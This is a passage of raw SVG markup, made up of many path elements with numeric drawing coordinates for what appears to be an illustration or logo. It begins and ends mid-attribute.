transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,